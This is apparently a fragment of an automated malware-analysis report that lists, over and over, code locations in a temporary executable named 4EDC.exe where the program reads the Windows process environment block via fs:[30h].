Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B mov eax, dword ptr fs:[00000030h]	22_2_6C03AC7B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B mov eax, dword ptr fs:[00000030h]	22_2_6C03AC7B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B mov eax, dword ptr fs:[00000030h]	22_2_6C03AC7B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B mov eax, dword ptr fs:[00000030h]	22_2_6C03AC7B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B mov eax, dword ptr fs:[00000030h]	22_2_6C03AC7B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B mov eax, dword ptr fs:[00000030h]	22_2_6C03AC7B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B mov eax, dword ptr fs:[00000030h]	22_2_6C03AC7B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B mov eax, dword ptr fs:[00000030h]	22_2_6C03AC7B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B mov eax, dword ptr fs:[00000030h]	22_2_6C03AC7B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03AC7B mov eax, dword ptr fs:[00000030h]	22_2_6C03AC7B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8C75 mov eax, dword ptr fs:[00000030h]	22_2_6C0D8C75
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C001480 mov eax, dword ptr fs:[00000030h]	22_2_6C001480
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C4496 mov eax, dword ptr fs:[00000030h]	22_2_6C0C4496
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00649B mov eax, dword ptr fs:[00000030h]	22_2_6C00649B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00649B mov eax, dword ptr fs:[00000030h]	22_2_6C00649B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00EC9B mov eax, dword ptr fs:[00000030h]	22_2_6C00EC9B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00EC9B mov eax, dword ptr fs:[00000030h]	22_2_6C00EC9B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C004CB0 mov eax, dword ptr fs:[00000030h]	22_2_6C004CB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03D4B0 mov eax, dword ptr fs:[00000030h]	22_2_6C03D4B0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D9CB3 mov eax, dword ptr fs:[00000030h]	22_2_6C0D9CB3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03CCC0 mov eax, dword ptr fs:[00000030h]	22_2_6C03CCC0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03CCC0 mov eax, dword ptr fs:[00000030h]	22_2_6C03CCC0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03CCC0 mov eax, dword ptr fs:[00000030h]	22_2_6C03CCC0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03CCC0 mov eax, dword ptr fs:[00000030h]	22_2_6C03CCC0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002CDB mov eax, dword ptr fs:[00000030h]	22_2_6C002CDB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8CD6 mov eax, dword ptr fs:[00000030h]	22_2_6C0D8CD6
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BD4E1 mov eax, dword ptr fs:[00000030h]	22_2_6C0BD4E1
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C14FB mov eax, dword ptr fs:[00000030h]	22_2_6C0C14FB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C3518 mov eax, dword ptr fs:[00000030h]	22_2_6C0C3518
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C3518 mov eax, dword ptr fs:[00000030h]	22_2_6C0C3518
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C3518 mov eax, dword ptr fs:[00000030h]	22_2_6C0C3518
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00F51D mov eax, dword ptr fs:[00000030h]	22_2_6C00F51D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C031520 mov eax, dword ptr fs:[00000030h]	22_2_6C031520
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C031520 mov eax, dword ptr fs:[00000030h]	22_2_6C031520
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C031520 mov eax, dword ptr fs:[00000030h]	22_2_6C031520
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C031520 mov eax, dword ptr fs:[00000030h]	22_2_6C031520
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C031520 mov eax, dword ptr fs:[00000030h]	22_2_6C031520
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00AD30 mov eax, dword ptr fs:[00000030h]	22_2_6C00AD30
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034D3B mov eax, dword ptr fs:[00000030h]	22_2_6C034D3B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034D3B mov eax, dword ptr fs:[00000030h]	22_2_6C034D3B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034D3B mov eax, dword ptr fs:[00000030h]	22_2_6C034D3B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8D34 mov eax, dword ptr fs:[00000030h]	22_2_6C0D8D34
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C043D43 mov eax, dword ptr fs:[00000030h]	22_2_6C043D43
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B3D40 mov eax, dword ptr fs:[00000030h]	22_2_6C0B3D40
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00354C mov eax, dword ptr fs:[00000030h]	22_2_6C00354C
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00354C mov eax, dword ptr fs:[00000030h]	22_2_6C00354C
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B8D47 mov eax, dword ptr fs:[00000030h]	22_2_6C0B8D47
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C027D50 mov eax, dword ptr fs:[00000030h]	22_2_6C027D50
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02C577 mov eax, dword ptr fs:[00000030h]	22_2_6C02C577
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02C577 mov eax, dword ptr fs:[00000030h]	22_2_6C02C577
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0CB581 mov eax, dword ptr fs:[00000030h]	22_2_6C0CB581
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0CB581 mov eax, dword ptr fs:[00000030h]	22_2_6C0CB581
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0CB581 mov eax, dword ptr fs:[00000030h]	22_2_6C0CB581
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0CB581 mov eax, dword ptr fs:[00000030h]	22_2_6C0CB581
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003591 mov eax, dword ptr fs:[00000030h]	22_2_6C003591
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0335A1 mov eax, dword ptr fs:[00000030h]	22_2_6C0335A1
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C031DB5 mov eax, dword ptr fs:[00000030h]	22_2_6C031DB5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C031DB5 mov eax, dword ptr fs:[00000030h]	22_2_6C031DB5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C031DB5 mov eax, dword ptr fs:[00000030h]	22_2_6C031DB5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0015C1 mov eax, dword ptr fs:[00000030h]	22_2_6C0015C1
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BFDD3 mov eax, dword ptr fs:[00000030h]	22_2_6C0BFDD3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0395EC mov eax, dword ptr fs:[00000030h]	22_2_6C0395EC
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0095F0 mov eax, dword ptr fs:[00000030h]	22_2_6C0095F0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0095F0 mov ecx, dword ptr fs:[00000030h]	22_2_6C0095F0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B8DF1 mov eax, dword ptr fs:[00000030h]	22_2_6C0B8DF1
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00C600 mov eax, dword ptr fs:[00000030h]	22_2_6C00C600
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00C600 mov eax, dword ptr fs:[00000030h]	22_2_6C00C600
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00C600 mov eax, dword ptr fs:[00000030h]	22_2_6C00C600
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C092E14 mov eax, dword ptr fs:[00000030h]	22_2_6C092E14
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C040E21 mov eax, dword ptr fs:[00000030h]	22_2_6C040E21
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C085623 mov eax, dword ptr fs:[00000030h]	22_2_6C085623
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C085623 mov eax, dword ptr fs:[00000030h]	22_2_6C085623
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C085623 mov eax, dword ptr fs:[00000030h]	22_2_6C085623
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C085623 mov eax, dword ptr fs:[00000030h]	22_2_6C085623
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C085623 mov eax, dword ptr fs:[00000030h]	22_2_6C085623
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C085623 mov eax, dword ptr fs:[00000030h]	22_2_6C085623
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C085623 mov eax, dword ptr fs:[00000030h]	22_2_6C085623
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C085623 mov eax, dword ptr fs:[00000030h]	22_2_6C085623
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C085623 mov eax, dword ptr fs:[00000030h]	22_2_6C085623
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BFE3F mov eax, dword ptr fs:[00000030h]	22_2_6C0BFE3F
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00A63B mov eax, dword ptr fs:[00000030h]	22_2_6C00A63B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00A63B mov eax, dword ptr fs:[00000030h]	22_2_6C00A63B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03C63D mov eax, dword ptr fs:[00000030h]	22_2_6C03C63D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C096652 mov eax, dword ptr fs:[00000030h]	22_2_6C096652
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C08AE60 mov eax, dword ptr fs:[00000030h]	22_2_6C08AE60
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C08AE60 mov eax, dword ptr fs:[00000030h]	22_2_6C08AE60
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C08AE60 mov eax, dword ptr fs:[00000030h]	22_2_6C08AE60
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C08AE60 mov eax, dword ptr fs:[00000030h]	22_2_6C08AE60
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01766D mov eax, dword ptr fs:[00000030h]	22_2_6C01766D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03CE6C mov eax, dword ptr fs:[00000030h]	22_2_6C03CE6C
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03CE6C mov ecx, dword ptr fs:[00000030h]	22_2_6C03CE6C
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C033E70 mov eax, dword ptr fs:[00000030h]	22_2_6C033E70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BF674 mov eax, dword ptr fs:[00000030h]	22_2_6C0BF674
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003E80 mov eax, dword ptr fs:[00000030h]	22_2_6C003E80
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003E80 mov eax, dword ptr fs:[00000030h]	22_2_6C003E80
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03DE9E mov eax, dword ptr fs:[00000030h]	22_2_6C03DE9E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03DE9E mov eax, dword ptr fs:[00000030h]	22_2_6C03DE9E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03DE9E mov eax, dword ptr fs:[00000030h]	22_2_6C03DE9E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C092EA3 mov eax, dword ptr fs:[00000030h]	22_2_6C092EA3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0846A7 mov eax, dword ptr fs:[00000030h]	22_2_6C0846A7
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0336CC mov eax, dword ptr fs:[00000030h]	22_2_6C0336CC
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8ED6 mov eax, dword ptr fs:[00000030h]	22_2_6C0D8ED6
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C043EE4 mov eax, dword ptr fs:[00000030h]	22_2_6C043EE4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C043EE4 mov eax, dword ptr fs:[00000030h]	22_2_6C043EE4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C043EE4 mov eax, dword ptr fs:[00000030h]	22_2_6C043EE4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0316E0 mov ecx, dword ptr fs:[00000030h]	22_2_6C0316E0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0176E2 mov eax, dword ptr fs:[00000030h]	22_2_6C0176E2
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03C707 mov eax, dword ptr fs:[00000030h]	22_2_6C03C707
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03C707 mov ecx, dword ptr fs:[00000030h]	22_2_6C03C707
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03C707 mov eax, dword ptr fs:[00000030h]	22_2_6C03C707
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034710 mov eax, dword ptr fs:[00000030h]	22_2_6C034710
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02F716 mov eax, dword ptr fs:[00000030h]	22_2_6C02F716
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BDF1D mov ecx, dword ptr fs:[00000030h]	22_2_6C0BDF1D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BDF1D mov eax, dword ptr fs:[00000030h]	22_2_6C0BDF1D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C09FF10 mov eax, dword ptr fs:[00000030h]	22_2_6C09FF10
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C09FF10 mov eax, dword ptr fs:[00000030h]	22_2_6C09FF10
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C004F2E mov eax, dword ptr fs:[00000030h]	22_2_6C004F2E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C004F2E mov eax, dword ptr fs:[00000030h]	22_2_6C004F2E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C006730 mov eax, dword ptr fs:[00000030h]	22_2_6C006730
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C006730 mov eax, dword ptr fs:[00000030h]	22_2_6C006730
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C006730 mov eax, dword ptr fs:[00000030h]	22_2_6C006730
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03E730 mov eax, dword ptr fs:[00000030h]	22_2_6C03E730
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02B73D mov eax, dword ptr fs:[00000030h]	22_2_6C02B73D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02B73D mov eax, dword ptr fs:[00000030h]	22_2_6C02B73D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00A745 mov eax, dword ptr fs:[00000030h]	22_2_6C00A745
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03DF4C mov eax, dword ptr fs:[00000030h]	22_2_6C03DF4C
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C095F5F mov eax, dword ptr fs:[00000030h]	22_2_6C095F5F
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C095F5F mov eax, dword ptr fs:[00000030h]	22_2_6C095F5F
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C095F5F mov eax, dword ptr fs:[00000030h]	22_2_6C095F5F
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C095F5F mov eax, dword ptr fs:[00000030h]	22_2_6C095F5F
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C095F5F mov eax, dword ptr fs:[00000030h]	22_2_6C095F5F
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C006F60 mov eax, dword ptr fs:[00000030h]	22_2_6C006F60
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C006F60 mov eax, dword ptr fs:[00000030h]	22_2_6C006F60
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02E760 mov eax, dword ptr fs:[00000030h]	22_2_6C02E760
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02E760 mov eax, dword ptr fs:[00000030h]	22_2_6C02E760
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8F6A mov eax, dword ptr fs:[00000030h]	22_2_6C0D8F6A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03CF6A mov eax, dword ptr fs:[00000030h]	22_2_6C03CF6A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03CF6A mov eax, dword ptr fs:[00000030h]	22_2_6C03CF6A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C032F70 mov eax, dword ptr fs:[00000030h]	22_2_6C032F70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C032F70 mov eax, dword ptr fs:[00000030h]	22_2_6C032F70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C032F70 mov eax, dword ptr fs:[00000030h]	22_2_6C032F70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C032F70 mov eax, dword ptr fs:[00000030h]	22_2_6C032F70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C032F70 mov eax, dword ptr fs:[00000030h]	22_2_6C032F70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C032F70 mov eax, dword ptr fs:[00000030h]	22_2_6C032F70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C032F70 mov eax, dword ptr fs:[00000030h]	22_2_6C032F70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 mov eax, dword ptr fs:[00000030h]	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 mov eax, dword ptr fs:[00000030h]	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 mov eax, dword ptr fs:[00000030h]	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 mov ecx, dword ptr fs:[00000030h]	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 mov eax, dword ptr fs:[00000030h]	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 mov eax, dword ptr fs:[00000030h]	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 mov eax, dword ptr fs:[00000030h]	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 mov eax, dword ptr fs:[00000030h]	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 mov eax, dword ptr fs:[00000030h]	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 mov eax, dword ptr fs:[00000030h]	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 mov eax, dword ptr fs:[00000030h]	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003FC5 mov eax, dword ptr fs:[00000030h]	22_2_6C003FC5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003FC5 mov eax, dword ptr fs:[00000030h]	22_2_6C003FC5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003FC5 mov eax, dword ptr fs:[00000030h]	22_2_6C003FC5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03D7CA mov eax, dword ptr fs:[00000030h]	22_2_6C03D7CA
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03D7CA mov eax, dword ptr fs:[00000030h]	22_2_6C03D7CA
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0337EB mov eax, dword ptr fs:[00000030h]	22_2_6C0337EB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0337EB mov eax, dword ptr fs:[00000030h]	22_2_6C0337EB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0337EB mov eax, dword ptr fs:[00000030h]	22_2_6C0337EB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0337EB mov eax, dword ptr fs:[00000030h]	22_2_6C0337EB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0337EB mov eax, dword ptr fs:[00000030h]	22_2_6C0337EB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0337EB mov eax, dword ptr fs:[00000030h]	22_2_6C0337EB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0337EB mov eax, dword ptr fs:[00000030h]	22_2_6C0337EB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0437F5 mov eax, dword ptr fs:[00000030h]	22_2_6C0437F5
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C006800 mov eax, dword ptr fs:[00000030h]	22_2_6C006800
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C006800 mov eax, dword ptr fs:[00000030h]	22_2_6C006800
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C006800 mov eax, dword ptr fs:[00000030h]	22_2_6C006800
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C018800 mov eax, dword ptr fs:[00000030h]	22_2_6C018800
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E009 mov eax, dword ptr fs:[00000030h]	22_2_6C00E009
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0DF019 mov eax, dword ptr fs:[00000030h]	22_2_6C0DF019
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0DF019 mov eax, dword ptr fs:[00000030h]	22_2_6C0DF019
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D4015 mov eax, dword ptr fs:[00000030h]	22_2_6C0D4015
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D4015 mov eax, dword ptr fs:[00000030h]	22_2_6C0D4015
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00F018 mov eax, dword ptr fs:[00000030h]	22_2_6C00F018
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00F018 mov eax, dword ptr fs:[00000030h]	22_2_6C00F018
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034020 mov edi, dword ptr fs:[00000030h]	22_2_6C034020
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01B02A mov eax, dword ptr fs:[00000030h]	22_2_6C01B02A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01B02A mov eax, dword ptr fs:[00000030h]	22_2_6C01B02A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01B02A mov eax, dword ptr fs:[00000030h]	22_2_6C01B02A
